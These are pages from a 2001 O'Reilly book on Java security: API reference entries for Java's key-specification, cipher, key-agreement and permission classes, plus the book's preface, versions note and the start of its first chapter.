This class is used to translate between keys and their external encoded format. The encoded format is always simply a series of bytes, but the format of the encoding of the key information into those bytes may vary depending upon the algorithm used to generate the key.

Class Definition

public abstract class java.security.spec.EncodedKeySpec
    extends java.lang.Object
    implements java.security.spec.KeySpec {

    // Constructors
    public EncodedKeySpec();

    // Instance Methods
    public abstract byte[] getEncoded();
    public abstract String getFormat();
}

See also: KeyFactory, KeySpec, PKCS8EncodedKeySpec, X509EncodedKeySpec

Interface java.security.spec.KeySpec

A key specification is used to import and export keys via a key factory. This may be done either based upon the algorithm parameters used to generate the key or via an encoded series of bytes that represent the key. Classes that deal with the latter case implement this interface, which is used strictly for type identification.

Interface Definition

public abstract interface java.security.spec.KeySpec {
}

See also: AlgorithmParameterSpec, EncodedKeySpec, KeyFactory

Class java.security.spec.PKCS8EncodedKeySpec

This class represents the PKCS#8 encoding of a private key; the key is encoded in DER format. This is the class that is typically used when dealing with DSA private keys in a key factory.

Class Definition

public class java.security.spec.PKCS8EncodedKeySpec
    extends java.security.spec.EncodedKeySpec {

    // Constructors
    public PKCS8EncodedKeySpec(byte[]);

    // Instance Methods
    public byte[] getEncoded();
    public final String getFormat();
}

See also: EncodedKeySpec, X509EncodedKeySpec

Class java.security.spec.RSAPrivateKeySpec

This class represents a key specification for an RSA private key; this specification uses a modulus and a private exponent. Instances of this class may be used with an appropriate key factory to generate private keys. Use of this class requires a third-party security provider.

Class Definition

public java.security.spec.RSAPrivateKeySpec
    extends java.lang.Object
    implements java.security.spec.KeySpec {

    // Constructors
    public RSAPrivateKeySpec(BigInteger, BigInteger);

    // Instance Methods
    public BigInteger getModulus();
    public BigInteger getPrivateExponent();
}

See also: KeyFactory, KeySpec, PrivateKey

Class java.security.spec.RSAPublicKeySpec

This class represents a key specification for an RSA public key. Instances of this class may be used with an appropriate key factory to generate public keys. Use of this class requires a third-party security provider.

Class Definition

public java.security.spec.RSAPublicKeySpec
    extends java.lang.Object
    implements java.security.spec.KeySpec {

    // Constructors
    public RSAPublicKeySpec(BigInteger, BigInteger);

    // Instance Methods
    public BigInteger getModulus();
    public BigInteger getPublicExponent();
}

See also: KeyFactory, KeySpec, PublicKey

Class java.security.spec.X509EncodedKeySpec

This class represents the X509 encoding of a public key. It may also be used for private keys, although the PKCS#8 encoding is typically used for those keys.

Class Definition

public class java.security.spec.X509EncodedKeySpec
    extends java.security.spec.EncodedKeySpec {

    // Constructors
    public X509EncodedKeySpec(byte[]);

    // Instance Methods
    public byte[] getEncoded();
    public final String getFormat();
}

See also: EncodedKeySpec, PKCS8EncodedKeySpec

Previous | Home | Next
D.3. Package java.security.interfaces | Book Index | D.5. Package javax.crypto
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Package javax.crypto (Java Security)

 Java Security Search this book

D.5. Package javax.crypto

Class javax.crypto.Cipher

This engine class represents a cryptographic cipher, either symmetric or asymmetric. To get a cipher for a particular algorithm, call one of the getInstance() methods, specifying an algorithm name, a cipher mode, and a padding scheme. The cipher should be initialized for encryption or decryption using an init() method and an appropriate key (and, optionally, a set of algorithm-specific parameters, though these are typically unused). Then you can perform the encryption or decryption, using the update() and doFinal() methods.

Class Definition

public class javax.crypto.Cipher
    extends java.lang.Object {

    // Constants
    public static final int DECRYPT_MODE;
    public static final int ENCRYPT_MODE;

    // Constructors
    protected Cipher(CipherSpi, Provider, String);

    // Class Methods
    public static final Cipher getInstance(String);
    public static final Cipher getInstance(String, String);

    // Instance Methods
    public final byte[] doFinal();
    public final byte[] doFinal(byte[]);
    public final int doFinal(byte[], int);
    public final byte[] doFinal(byte[], int, int);
    public final int doFinal(byte[], int, int, byte[]);
    public final int doFinal(byte[], int, int, byte[], int);
    public final int getBlockSize();
    public final byte[] getIV();
    public final int getOutputSize(int);
    public final AlgorithmParameters getParameters();
    public final Provider getProvider();
    public final void init(int, Key);
    public final void init(int, Key, SecureRandom);
    public final void init(int, Key, AlgorithmParameterSpec);
    public final void init(int, Key, AlgorithmParameterSpec,
                            SecureRandom);
    public final void init(int, Key, AlgorithmParameters);
    public final void init(int, Key, AlgorithmParameters,
                           SecureRandom);
    public final byte[] update(byte[]);
    public final byte[] update(byte[], int, int);
    public final int update(byte[], int, int, byte[]);
    public final int update(byte[], int, int, byte[], int);
}

See also: AlgorithmParameterSpec, CipherSpi, Key, Provider, SecureRandom

Class javax.crypto.CipherInputStream

A cipher input stream is a filter stream that passes its data through a cipher. You can construct a cipher input stream by specifying an underlying stream and supplying an initialized cipher. For best results, use a byte-oriented cipher mode with this stream.

Class Definition

public class javax.crypto.CipherInputStream
    extends java.io.FilterInputStream {

    // Constructors
    protected CipherInputStream(InputStream);
    public CipherInputStream(InputStream, Cipher);

    // Instance Methods
    public int available();
    public void close();
    public boolean markSupported();
    public int read();
    public int read(byte[]);
    public int read(byte[], int, int);
    public long skip(long);
}

See also: Cipher

Class javax.crypto.CipherOutputStream

This class is a filter output stream that passes all its data through a cipher. You can construct a cipher output stream by specifying an underlying output stream and an initialized cipher. For best results, use a byte-oriented mode for the cipher.

Class Definition

public class javax.crypto.CipherOutputStream
    extends java.io.FilterOutputStream {

    // Constructors
    protected CipherOutputStream(OutputStream);
    public CipherOutputStream(OutputStream, Cipher);

    // Instance Methods
    public void close();
    public void flush();
    public void write(int);
    public void write(byte[]);
    public void write(byte[], int, int);
}

See also: Cipher

Class javax.crypto.CipherSpi

This class is the Security Provider Interface of the Cipher class. To implement a particular cipher algorithm, create a subclass of this class and register the class with an appropriate security provider. Like all SPI classes, the methods that begin with engine are called by their corresponding method (without engine) from the Cipher class.

Class Definition

public abstract class javax.crypto.CipherSpi
    extends java.lang.Object {

    // Constructors
    public CipherSpi();

    // Protected Instance Methods
    protected abstract byte[] engineDoFinal(byte[], int, int);
    protected abstract int engineDoFinal(byte[], int, int,
                                    byte[], int);
    protected abstract int engineGetBlockSize();
    protected abstract byte[] engineGetIV();
    protected abstract int engineGetOutputSize(int);
    protected abstract void engineInit(int, Key, SecureRandom);
    protected abstract void engineInit(int, Key,
                    AlgorithmParameterSpec, SecureRandom);
    protected abstract void engineInit(int, Key, AlgorithmParameters,
                                 SecureRandom);
    protected abstract void engineSetMode(String);
    protected abstract void engineSetPadding(String);
    protected abstract byte[] engineUpdate(byte[], int, int);
    protected abstract int engineUpdate(byte[], int, int, byte[], int);
}

See also: AlgorithmParameterSpec, Cipher, Key, SecureRandom

Class javax.crypto.KeyAgreement

This engine class represents a key agreement protocol, which is an arrangement by which two parties can agree on a secret value. You can obtain an instance of this class by calling the getInstance() method. After initializing the object (see init()), you can step through the phases of the key agreement protocol using the doPhase() method. Once the phases are complete, the secret value (that is, the key) is returned from the generateSecret() method.

Class Definition

public class javax.crypto.KeyAgreement
    extends java.lang.Object {

    // Constructors
    protected KeyAgreement(KeyAgreementSpi, Provider, String);

    // Class Methods
    public static final KeyAgreement getInstance(String);
    public static final KeyAgreement getInstance(String, String);

    // Instance Methods
    public final Key doPhase(Key, boolean);
    public final byte[] generateSecret();
    public final int generateSecret(byte[], int);
    public final String getAlgorithm();
    public final Provider getProvider();
    public final void init(Key);
    public final void init(Key, SecureRandom);
    public final void init(Key, AlgorithmParameterSpec);
    public final void init(Key, AlgorithmParameterSpec, SecureRandom);
}

See also: AlgorithmParameterSpec, Key, KeyAgreementSpi, Provider, SecureRandom

Class javax.crypto.KeyAgreementSpi

This is the Security Provider Interface class for the KeyAgreement class. If you want to implement a key agreement algorithm, create a subclass of this class and register it with an appropriate security provider.

Class Definition

public abstract class javax.crypto.KeyAgreementSpi
    extends java.lang.Object {

    // Constructors
    public KeyAgreementSpi();

    // Protected Instance Methods
    protected abstract Key engineDoPhase(Key, boolean);
    protected abstract byte[] engineGenerateSecret();
    protected abstract int engineGenerateSecret(byte[], int);
    protected abstract void engineInit(Key, SecureRandom);
    protected abstract void engineInit(Key, AlgorithmParameterSpec,
                                    SecureRandom);
}

See also: AlgorithmParameterSpec, Key, KeyAgreement, SecureRandom

Class javax.crypto.KeyGenerator

A key generator creates secret keys for use with symmetric ciphers. Key generators are obtained by calling the getInstance() method; they must then be initialized with an init() method. The key itself is then returned from the generateSecret() method.

Class Definition

public class javax.crypto.KeyGenerator
    extends java.lang.Object {

    // Constructors
    protected KeyGenerator(KeyGeneratorSpi, Provider, String);

    // Class Methods
    public static final KeyGenerator getInstance(String);
    public static final KeyGenerator getInstance(String, String);

    // Instance Methods
    public final SecretKey generateKey();
    public final String getAlgorithm();
    public final Provider getProvider();
    public final void init(int);
    public final void init(int, SecureRandom);
    public final void init(SecureRandom);
    public final void init(AlgorithmParameterSpec);
    public final void init(AlgorithmParameterSpec, SecureRandom);
}

See also: AlgorithmParameterSpec, KeyGeneratorSpi, Provider, SecretKey, SecureRandom

Class javax.crypto.KeyGeneratorSpi

This is the Security Provider Interface for the KeyGenerator class. To create an implementation of a key generation algorithm, make a subclass of this class and register the implementation with an appropriate security provider.

Class Definition

public abstract class javax.crypto.KeyGeneratorSpi
    extends java.lang.Object {

    // Constructors
    public KeyGeneratorSpi();

    // Protected Instance Methods
    protected abstract SecretKey engineGenerateKey();
    protected abstract void engineInit(int, SecureRandom);
    protected abstract void engineInit(SecureRandom);
    protected abstract void engineInit(AlgorithmParameterSpec,
                                SecureRandom);
}

See also: AlgorithmParameterSpec, KeyGenerator, SecretKey, SecureRandom

Class javax.crypto.NullCipher

As its name implies, null cipher is a cipher that does nothing. You can use it to test cryptographic programs. Since a null cipher performs no transformations, its ciphertext will be exactly the same as its plaintext.

Class Definition

public class javax.crypto.NullCipher
    extends javax.crypto.Cipher {

    // Constructors
    public NullCipher();
}

See also: Cipher

Class javax.crypto.SealedObject

A sealed object is a container for another object. The contained object is serialized and then encrypted using a cipher. You can construct a sealed object using any serializable object and a cipher that is initialized for encryption. To decrypt the contained object, call the getObject() method with a cipher that is initialized for decryption.

Class Definition

public class javax.crypto.SealedObject
    extends java.lang.Object
    implements java.io.Serializable {

    // Constructors
    public SealedObject(Serializable, Cipher);

    // Instance Methods
    public final Object getObject(Cipher);
    public final Object getObject(Key);
    public final Object getObject(Key, String);
}

See also: PublicKey, PrivateKey

Interface javax.crypto.SecretKey

A secret key represents a key that is used with a symmetric cipher. This interface is used strictly for type identification.

Interface Definition

public abstract interface javax.crypto.SecretKey
    implements java.security.Key {
}

See also: Key

Class javax.crypto.SecretKeyFactory

A secret key factory is used to convert between secret key data formats; like a key factory, this is typically used to import a key based on its external format or to export a key to its encoded format or algorithm parameters. Instances of this class are obtained by calling the getInstance() method. Keys may be exported by using the translateKey() method; they are imported by using the generate Secret() method.

Class Definition

public class javax.crypto.SecretKeyFactory
    extends java.lang.Object {

    // Constructors
    protected SecretKeyFactory(SecretKeyFactorySpi, Provider);

    // Class Methods
    public static final SecretKeyFactory getInstance(String);
    public static final SecretKeyFactory getInstance(String, String);

    // Instance Methods
    public final SecretKey generateSecret(KeySpec);
    public final KeySpec getKeySpec(SecretKey, Class);
    public final Provider getProvider();
    public final SecretKey translateKey(SecretKey);
}

See also: KeySpec, Provider, SecretKey, SecretKeyFactorySpi

Class javax.crypto.SecretKeyFactorySpi

This class is the Security Provider Interface for the SecretKeyFactory class. To create a secret key factory, make a subclass of this class and register your implementation with an appropriate provider.

Class Definition

public abstract class javax.crypto.SecretKeyFactorySpi
    extends java.lang.Object {

    // Constructors
    public SecretKeyFactorySpi();

    // Protected Instance Methods
    protected abstract SecretKey engineGenerateSecret(KeySpec);
    protected abstract KeySpec engineGetKeySpec(SecretKey, Class);
    protected abstract SecretKey engineTranslateKey(SecretKey);
}

See also: KeySpec, Provider, SecretKey, SecretKeyFactory

Previous | Home | Next
D.4. Package java.security.spec | Book Index | D.6. Package javax.crypto.interfaces
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Package javax.crypto.interfaces (Java Security)

 Java Security Search this book

D.6. Package javax.crypto.interfaces

Interface javax.crypto.interfaces.DHKey

This interface represents a public or private key used the Diffie-Hellman key agreement implementation.

Interface Definition

public abstract interface javax.crypto.interfaces.DHKey {

    // Instance Methods
    public abstract DHParameterSpec getParams();
}

See also: DHPrivateKey, DHPublicKey

Interface javax.crypto.interfaces.DHPrivateKey

This interface represents a private key in a Diffie-Hellman key agreement protocol.

Interface Definition

public abstract interface javax.crypto.interfaces.DHPrivateKey
  implements javax.crypto.interfaces.DHKey, java.security.PrivateKey {

    // Instance Methods
    public abstract BigInteger getX();
}

See also: DHKey, DHPublicKey, PrivateKey

Interface javax.crypto.interfaces.DHPublicKey

This interface represents a public key in a Diffie-Hellman key agreement protocol.

Interface Definition

public abstract interface javax.crypto.interfaces.DHPublicKey
  implements javax.crypto.interfaces.DHKey, java.security.PublicKey {

    // Instance Methods
    public abstract BigInteger getY();
}

See also: DHKey, DHPrivateKey, PublicKey

Previous | Home | Next
D.5. Package javax.crypto | Book Index | D.7. Package javax.crypto.spec
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Package javax.crypto.spec (Java Security)

 Java Security Search this book

D.7. Package javax.crypto.spec

Class javax.crypto.spec.DESKeySpec

This class represents a key specification for DES keys; this specification may be used with a secret key factory to import and export DES keys.

Class Definition

public class javax.crypto.spec.DESKeySpec
    extends java.lang.Object
    implements java.security.spec.KeySpec {

    //Constants
    public static final int DES_KEY_LEN;

    // Constructors
    public DESKeySpec(byte[]);
    public DESKeySpec(byte[], int);

    // Class Methods
    public static boolean isParityAdjusted(byte[], int);
    public static boolean isWeak(byte[], int);

    // Instance Methods
    public byte[] getKey();
}

See also: SecretKeyFactory

Class javax.crypto.spec.DESedeKeySpec

This class represents a DESede key specification. It can be used with a secret key factory to import and export DESede keys.

Class Definition

public class javax.crypto.spec.DESedeKeySpec
    extends java.lang.Object
    implements java.security.spec.KeySpec {

    //Constants
    public static final int DES_EDE_KEY_LEN;

    // Constructors
    public DESedeKeySpec(byte[]);
    public DESedeKeySpec(byte[], int);

    // Class Methods
    public static boolean isParityAdjusted(byte[], int);

    // Instance Methods
    public byte[] getKey();
}

See also: SecretKeyFactory

Class javax.crypto.spec.DHGenParameterSpec

Instances of this class may be used to supply the algorithm-specific initialization method for generating Diffie-Hellman keys.

Class Definition

public class javax.crypto.spec.DHGenParameterSpec
    extends java.lang.Object
    implements java.security.spec.AlgorithmParameterSpec {

    // Constructors
    public DHGenParameterSpec(int, int);

    // Instance Methods
    public int getExponentSize();
    public int getPrimeSize();
}

See also: AlgorithmParameterGenerator, AlgorithmParameterSpec

Class javax.crypto.spec.DHParameterSpec

This class encapsulates the public parameters used in the Diffie-Hellman key agreement protocol. Instances of this class can be passed to the algorithm-specific initialization methods of a key pair generator.

Class Definition

public class javax.crypto.spec.DHParameterSpec
    extends java.lang.Object
    implements java.security.spec.AlgorithmParameterSpec {

    // Constructors
    public DHParameterSpec(BigInteger, BigInteger);
    public DHParameterSpec(BigInteger, BigInteger, int);

    // Instance Methods
    public BigInteger getG();
    public int getL();
    public BigInteger getP();
}

See also: AlgorithmParameterSpec, KeyPairGenerator

Class javax.crypto.spec.DHPrivateKeySpec

This class represents a key specification for Diffie-Hellman private keys. It can be used with a key factory to import and export Diffie-Hellman keys.

Class Definition

public class javax.crypto.spec.DHPrivateKeySpec
    extends java.lang.Object
    implements java.security.spec.KeySpec {

    // Constructors
    public DHPrivateKeySpec(BigInteger, BigInteger, BigInteger);
    public DHPrivateKeySpec(BigInteger, BigInteger, BigInteger, int);

    // Instance Methods
    public BigInteger getG();
    public int getL();
    public BigInteger getP();
    public BigInteger getX();
}

See also: DHParameterSpec, DHPublicKeySpec, KeySpec

Class javax.crypto.spec.DHPublicKeySpec

This class represents a key specification for Diffie-Hellman public keys. It can be used with a key factory to import and export Diffie-Hellman keys.

Class Definition

public class javax.crypto.spec.DHPublicKeySpec
    extends java.lang.Object
    implements java.security.spec.KeySpec {

    // Constructors
    public DHPublicKeySpec(BigInteger, BigInteger, BigInteger);
    public DHPublicKeySpec(BigInteger, BigInteger, BigInteger, int);

    // Instance Methods
    public BigInteger getG();
    public int getL();
    public BigInteger getP();
    public BigInteger getY();
}

See also: DHParameterSpec, DHPrivateKeySpec, KeySpec

Class javax.crypto.spec.IvParameterSpec

This class represents an IV (initialization vector) for a cipher that uses a feedback mode. Ciphers in CBC, PCBC, CFB, and OFB modes need to be initialized with an IV.

Class Definition

public javax.crypto.spec.IvParameterSpec
    extends java.lang.Object
    implements java.security.spec.AlgorithmParameterSpec {

    // Constructors
    public IvParameterSpec(byte[]);
    public IvParameterSpec(byte[], int, int);

    // Instance Methods
    public byte[] getIV();
}

See also: AlgorithmParameterSpec, Cipher

Class javax.crypto.spec.PBEKeySpec

This class represents a key specification for a key that is used with passphrase encryption.

Class Definition

public class javax.crypto.spec.PBEKeySpec
    extends java.lang.Object
    implements java.security.spec.KeySpec {

    // Constructors
    public PBEKeySpec(String);

    // Instance Methods
    public final String getPassword();
}

See also: PBEParameterSpec, SecretKey, SecretKeyFactory

Class javax.crypto.spec.PBEParameterSpec

This class encapsulates the salt and iteration count that are used in passphrase-based encryption.

Class Definition

public class javax.crypto.spec.PBEParameterSpec
    extends java.lang.Object
    implements java.security.spec.AlgorithmParameterSpec {

    // Constructors
    public PBEParameterSpec(byte[], int);

    // Instance Methods
    public int getIterationCount();
    public byte[] getSalt();
}

See also: AlgorithmParameterSpec, Cipher, PBEKeySpec

Previous | Home | Next
D.6. Package javax.crypto.interfaces | Book Index | D.8. Miscellaneous Packages
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Miscellaneous Packages (Java Security)

 Java Security Search this book

D.8. Miscellaneous Packages

This section lists security-related classes that appear in miscellaneous packages: permission classes, class loaders, and security managers.

Class java.awt.AWTPermission

This class represents permission to perform windowing operations, like opening a top-level window or examining the event queue. This is a basic permission, so it has no actions.

Class Definition

public final class java.awt.AWTPermission
    extends java.security.BasicPermission {

    // Constructors
    public AWTPermission(String);
    public AWTPermission(String, String);
}

See also: BasicPermission, Permission

Class java.io.FilePermission

This class represents permission to read, write, delete, or execute files. The name encapsulated in this permission is the name of the file; the string "<<ALL_FILES>>" represents all files, while an asterisk represents all files in a directory and a hyphen represents all files that descend from a directory. The actions for this permission are read, write, execute, and delete.

Class Definition

public final class java.io.FilePermission
    extends java.security.Permission
    implements java.io.Serializable {

    // Constructors
    public FilePermission(String, String);

    // Instance Methods
    public boolean equals(Object);
    public String getActions();
    public int hashCode();
    public boolean implies(Permission);
    public PermissionCollection newPermissionCollection();
}

See also: Permission

Class java.io.SerializablePermission

This class represents permission to perform specific operations during object serialization--specifically, whether or not object substitution may occur during serialization. As all basic permissions, there are no actions associated with this class, which has one valid name: enableSubstitution.

Class Definition

public final class java.io.SerializablePermission
    extends java.security.BasicPermission {

    // Constructors
    public SerializablePermission(String);
    public SerializablePermission(String, String);
}

See also: BasicPermission, Permission

Class java.lang.ClassLoader

This class is the basis for loading a class dynamically in Java. For historical reasons, it appears in this package, but it is recommended that all new class loaders subclass the SecureClassLoader class in the java.security package instead of using this class. Loading a class explicitly may be done with the loadClass() method of this class (though classes are usually simply loaded as needed).

Class Definition

public abstract class java.lang.ClassLoader
    extends java.lang.Object {

    // Constructors
    protected ClassLoader();
    protected ClassLoader(ClassLoader);

    // Class Methods
    public static ClassLoader getSystemClassLoader();
    public static URL getSystemResource(String);
    public static InputStream getSystemResourceAsStream(String);
    public static Enumeration getSystemResources(String);

    // Instance Methods
    public ClassLoader getParent();
    public URL getResource(String);
    public InputStream getResourceAsStream(String);
    public final Enumeration getResources(String);
    public Class loadClass(String);

    // Protected Instance Methods
    protected final Class defineClass(String, byte[], int, int);
    protected final Class defineClass(byte[], int, int);
    protected final Class defineClass(String, byte[], int, int,
                        ProtectionDomain);
    protected Package definePackage(String, String, String, String,
                            String, String, String, URL);
    protected Class findClass(String);
    protected String findLibrary(String);
    protected final Class findLoadedClass(String);
    protected Class findLocalClass(String);
    protected final Class findSystemClass(String);
    protected Package getPackage(String);
    protected Package[] getPackages();
    protected synchronized Class loadClass(String, boolean);
    protected final void resolveClass(Class);
    protected final void setSigners(Class, Object[]);
}

See also: SecureClassLoader, URLClassLoader

Class java.lang.RuntimePermission

This class represents permission to perform certain runtime operations, such as executing other programs. Like all basic permissions, runtime permissions have no actions.

Class Definition

public final class java.lang.RuntimePermission
    extends java.security.BasicPermission {

    // Constructors
    public RuntimePermission(String);
    public RuntimePermission(String, String);
}

See also: BasicPermission, Permission

Class java.lang.SecurityManager

This class forms the primary interface to the security model of the virtual machine; it is recommended for backwards compatibility that access to that model occur through this class rather than by calling the access controller directly. However, most of the methods of this class simply call the access controller.

Class Definition

public class java.lang.SecurityManager
    extends java.lang.Object {

    // Variables
    protected boolean inCheck;

    // Constructors
    public SecurityManager();

    // Instance Methods
    public void checkAccept(String, int);
    public void checkAccess(Thread);
    public void checkAccess(ThreadGroup);
    public void checkAwtEventQueueAccess();
    public void checkConnect(String, int);
    public void checkConnect(String, int, Object);
    public void checkCreateClassLoader();
    public void checkDelete(String);
    public void checkExec(String);
    public void checkExit(int);
    public void checkLink(String);
    public void checkListen(int);
    public void checkMemberAccess(Class, int);
    public void checkMulticast(InetAddress);
    public void checkMulticast(InetAddress, byte);
    public void checkPackageAccess(String);
    public void checkPackageDefinition(String);
    public void checkPermission(Permission);
    public void checkPermission(Permission, Object);
    public void checkPrintJobAccess();
    public void checkPropertiesAccess();
    public void checkPropertyAccess(String);
    public void checkRead(FileDescriptor);
    public void checkRead(String);
    public void checkRead(String, Object);
    public void checkSecurityAccess(String);
    public void checkSetFactory();
    public void checkSystemClipboardAccess();
    public boolean checkTopLevelWindow(Object);
    public void checkWrite(FileDescriptor);
    public void checkWrite(String);
    public boolean getInCheck();
    public Object getSecurityContext();
    public ThreadGroup getThreadGroup();

    // Protected Instance Methods
    protected native int classDepth(String);
    protected native int classLoaderDepth();
    protected native ClassLoader currentClassLoader();
    protected Class currentLoadedClass();
    protected native Class[] getClassContext();
    protected boolean inClass(String);
    protected boolean inClassLoader();
}

See also: AccessController

Class java.lang.reflect.ReflectPermission

This class represents the ability to obtain information via object reflections; specifically, whether private and protected variables and methods may be accessed through object reflection. As all basic permissions, this permission carries no actions; it has a single name: access.

Class Definition

public final class java.lang.reflect.ReflectPermission
    extends java.security.BasicPermission {

    // Constructors
    public ReflectPermission(String);
    public ReflectPermission(String, String);
}

See also: BasicPermission, Permission

Class java.net.NetPermission

This class represents the ability to work with multicast sockets and the ability to use the authenticator classes. As all basic permissions, this class carries no actions.

Class Definition

public final class java.net.NetPermission
    extends java.security.BasicPermission {

    // Constructors
    public NetPermission(String);
    public NetPermission(String, String);
}

See also: BasicPermission, Permission

Class java.net.SocketPermission

This class represents the ability to work with certain sockets. The name of this permission is constructed from the hostname or IP address of the machine on the other end of the socket and the port number; either portion of the name is subject to wildcard matching. Valid actions for this class include connect, accept, and listen.

Class Definition

public final class java.net.SocketPermission
    extends java.security.Permission
    implements java.io.Serializable {

    // Constructors
    public SocketPermission(String, String);

    // Instance Methods
    public boolean equals(Object);
    public String getActions();
    public int hashCode();
    public boolean implies(Permission);
    public PermissionCollection newPermissionCollection();
}

See also: Permission

Class java.net.URLClassLoader

This class provides a concrete class loader that may be used to load classes from one or more URLs (either http-based or file-based URLs). Since it is a secure class loader, classes loaded from a URL class loader will be fully integrated into the access controller's security model.

Class Definition

public class java.net.URLClassLoader
    extends java.security.SecureClassLoader {

    // Constructors
    public URLClassLoader(URL[], ClassLoader);
    public URLClassLoader(URL[]);
    public URLCLassLoader(URL[], ClassLoader, URLStreamHandlerFactory);

    // Class Methods
    public static URLClassLoader newInstance(URL[]);
    public static URLClassLoader newInstance(URL[], ClassLoader);

    // Instance Methods
    public URL findResource(String);
    public Enumeration findResources(String);
    public URL[] getURLs();

    // Protected Instance Methods
    protected void addURL(URL);
    protected Package definePackage(String, Manifest, URL);
    protected Class findClass(String);
    protected PermissionCollection getPermissions(CodeSource);
}

See also: ClassLoader, SecureClassLoader

Class java.rmi.RMISecurityManager

The RMI security manager provides a security manager that is suitable for many RMI servers. It provides the ability for RMI applications to make socket-based connections to each other, and otherwise follows the default security manager implementation.

Class Definition

public class java.rmi.RMISecurityManager
    extends java.lang.SecurityManager {

    // Constructors
    public RMISecurityManager();

    // Instance Methods
}

See also: SecurityManager

Class java.rmi.server.RMIClassLoader

While not a traditional class loader, this class allows classes to be loaded via the same mechanics as a class loader: the loadClass() method may be called to load a class explicitly, and this class will also be used to load all subsequent classes required by the target class. This class loader will only load classes from the URL specified by the java.rmi.server.codebase property. The internal class loader used by this class is a secure class loader, so the security model of the access controller will be used by classes loaded in this manner.

Class Definition

public class java.rmi.server.RMIClassLoader
    extends java.lang.Object {

    // Class Methods
    public static Object getSecurityContext(ClassLoader);
    public static Class loadClass(String);
    public static Class loadClass(String, String);
    public static Class loadClass(URL, String);
}

See also: ClassLoader, SecureClassLoader

Class java.util.PropertyPermission

This class represents the ability to read or write properties. The name of a property permission is the name of the property itself; the action for a property permission is either set or get.

Class Definition

public final class java.util.PropertyPermission
    extends java.security.BasicPermission {

    // Constructors
    public PropertyPermission(String, String);

    // Instance Methods
    public boolean equals(Object);
    public String getActions();
    public int hashCode();
    public boolean implies(Permission);
    public PermissionCollection newPermissionCollection();
}

See also: Permission

Previous | Home | Next
D.7. Package javax.crypto.spec | Book Index | Index
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Preface (Java Security)

 Java Security Search this book

Preface

When I first mentioned to a colleague of mine that I was writing a book on JavaTM security, he immediately starting asking me questions about firewalls and Internet DMZs. Another colleague overheard us and started asking about electronic commerce, which piqued the interest of a third colleague who wanted to hear all about virtual private networks. All this was interesting, but what I really wanted to talk about was how a Java applet could be allowed to read a file.

Such is the danger of anything with the word "security" in its title: security is a broad topic, and everyone has his or her own notion of what security means. Complicating this issue is the fact that Java security and network security (including Internet security) are complementary and sometimes overlapping topics: you can send encrypted data over the network with Java, or you can set up a virtual private network that encrypts all your network traffic and remove the need for encryption within your Java programs.

This is a book about security from the perspective of a Java program. In this book, we discuss the basic platform features of Java that provide security--the class loader, the bytecode verifier, the security manager--and we discuss recent additions to Java that enhance this security model--digital signatures, security providers, and the access controller. The ideas in this book are meant to provide an understanding of the architecture of Java's security model and how that model can be used (both programmatically and administratively).

0.1. Who Should Read This Book?

This book is intended primarily for programmers who want to write secure Java applications. Much of the book is focused on various APIs within Java that provide security; we discuss both how those APIs are used by standard Java-enabled browsers and how they can be used in your own Java applications. From a programming perspective, this latter case is the most interesting: Java-enabled browsers have each adopted particular security models, but there's not much a programmer or administrator can do to alter those models. However, this is beginning to change, as technologies like Sun Microsystems' Java Plug-in bring Sun's basic security model to popular browsers.

For the end user or system administrator who is interested in Java security, this book will provide knowledge of the facilities provided by the basic Java platform and how those facilities are used by Java-enabled browsers and by Java applications. We do not delve into the specific security features of any Java-enabled browser, although we do point out along the way which security features of Java are subject to change by the companies that provide Java-enabled browsers. Hence, end users and system administrators can read this book (and skip over many of the programming examples) to gain an understanding of the fundamental security features of the Java platform, and they can understand from each of its parts how the security feature might be administrated (especially for Java applications). This is particularly true for end users and administrators who are interested in assessing the risk of using Java: we give full details of the implementation of Java's security model not only so that you can program within that model (and adjust it if necessary), but also so that you have a deep understanding of how it works and can assess for yourself whether or not Java meets your definition of security.

From a programming perspective, we assume that developers who read this book have a good knowledge of how to program in Java, and in particular how to write Java applications. When we discuss advanced security features and cryptographic algorithms, we do so assuming that the programmer is primarily interested in using the API to perform certain tasks. Hence, we explain at a rudimentary level what a digital signature is and how it is created and used, but we do not explain the cryptographic theory behind a digital signature or prove that a digital signature is secure. For developers who are sufficiently versed in these matters, we also show how the APIs may be extended to support new types of cryptographic algorithms, but again we leave the mathematics and rigorous definitions of cryptography for another book.

Previous | Home | Next
Copyright | Book Index | 0.2. Versions Used in This Book
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Versions Used in This Book (Java Security)

 Java Security Search this book

0.2. Versions Used in This Book

JDK 1.2 FCS has recently been renamed Java 2. We continue to use the older name because it's more familiar and because it's used in the actual code.

Writing a book on Java security has been a challenge for a number of reasons, not the least of which is that the security APIs have been radically changing over the past year. Java 1.1 introduced many of the APIs we'll be discussing in this book, including the notion of a security provider that supplies an implementation of the security package. Java 1.2 introduced significant changes to the security package as well as a new fundamental security object called the "access controller," which takes on much of the responsibility that has resided with the security manager since Java 1.0.

For the most part, we assume that developers using this book will be using the Java 2 platform, and our primary focus will be on the Java Development Kit (JDK) from Sun Microsystems. However, for developers using 1.1, we will provide full details of what's available in 1.1, and what has changed in Java 2; in some cases, this information has changed so radically that the information is relegated to an appendix. Complicating all of this is that while overall there are few differences between the 1.2 beta releases of the JDK and the Java 2 platform, many of those important differences occur in the Security APIs. Unlike the first printing of this book, which focused on the 1.2 beta 3 release, this printing covers the API as it exists only in the Java 2 platform.

For the most part, we do not track changes between 1.0 and 1.1 in this book.

Most of the examples used in this book are available via ftp from the O'Reilly web site, http://www.oreilly.com. A few of the examples have been withheld from the online distribution because of U.S. restrictions on the export of cryptography.

Previous | Home | Next
0.1. Who Should Read This Book? | Book Index | 0.3. Conventions Used in This Book
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Feedback for the Author (Java Security)

 Java Security Search this book

0.7. Feedback for the Author

I welcome any comments on the text that you might have; despite the contributions of the people I've just listed, any errors or omissions in the text are my responsibility. Please send notice of these errors or any other feedback to scott.oaks@sun.com.

Previous | Home | Next
0.6. Acknowledgments | Book Index | 1. Java Application Security
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Java Application Security (Java Security)

 Java Security Search this book

Chapter 1. Java Application Security

Contents:

What Is Security?
The Java Sandbox
Applications, Applets, and Programs
Running a Java Application
